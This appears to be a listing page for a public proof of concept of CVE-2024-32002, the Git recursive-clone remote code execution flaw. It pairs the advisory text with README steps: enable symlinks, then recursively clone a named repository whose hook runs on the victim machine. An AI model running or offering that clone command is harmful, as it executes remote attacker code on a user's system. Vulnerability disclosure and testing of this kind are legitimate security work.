CVE-2024-32002 PoC — Git's recursive clones on case-insensitive filesystems that support symlinks are susceptible to Remote Code Execution

Source

Associated Vulnerability

Title:Git's recursive clones on case-insensitive filesystems that support symlinks are susceptible to Remote Code Execution (CVE-2024-32002)
Description:Git is a revision control system. Prior to versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4, repositories with submodules can be crafted in a way that exploits a bug in Git whereby it can be fooled into writing files not into the submodule's worktree but into a `.git/` directory. This allows writing a hook that will be executed while the clone operation is still running, giving the user no opportunity to inspect the code that is being executed. The problem has been patched in versions 2.45.1, 2.44.1, 2.43.4, 2.42.2, 2.41.1, 2.40.2, and 2.39.4. If symbolic link support is disabled in Git (e.g. via `git config --global core.symlinks false`), the described attack won't work. As always, it is best to avoid cloning repositories from untrusted sources.

Description

git clone rce CVE-2024-32002

Readme

# CVE-2024-32002 PoC
1. You must set up the git's symbolic link option like:
```
git config --global core.symlinks true
```

2. Then exploit CVE-2024-32002 by the following command:
```
git clone --recursive https://github.com/EQSTSeminar/git_rce.git
```

# Attack Scenario
kali(192.168.216.129) --Give remote repository address--> Win(192.168.216.130)

kali(192.168.216.129) <--Git clone && hook script(post-checkout) execution-- Win(192.168.216.130)

# Disclaimer
This repository is not intended to be git clone RCE exploit to CVE-2024-32002. The purpose of this project is to help people learn about this vulnerability, and perhaps test their own applications.

File Snapshot

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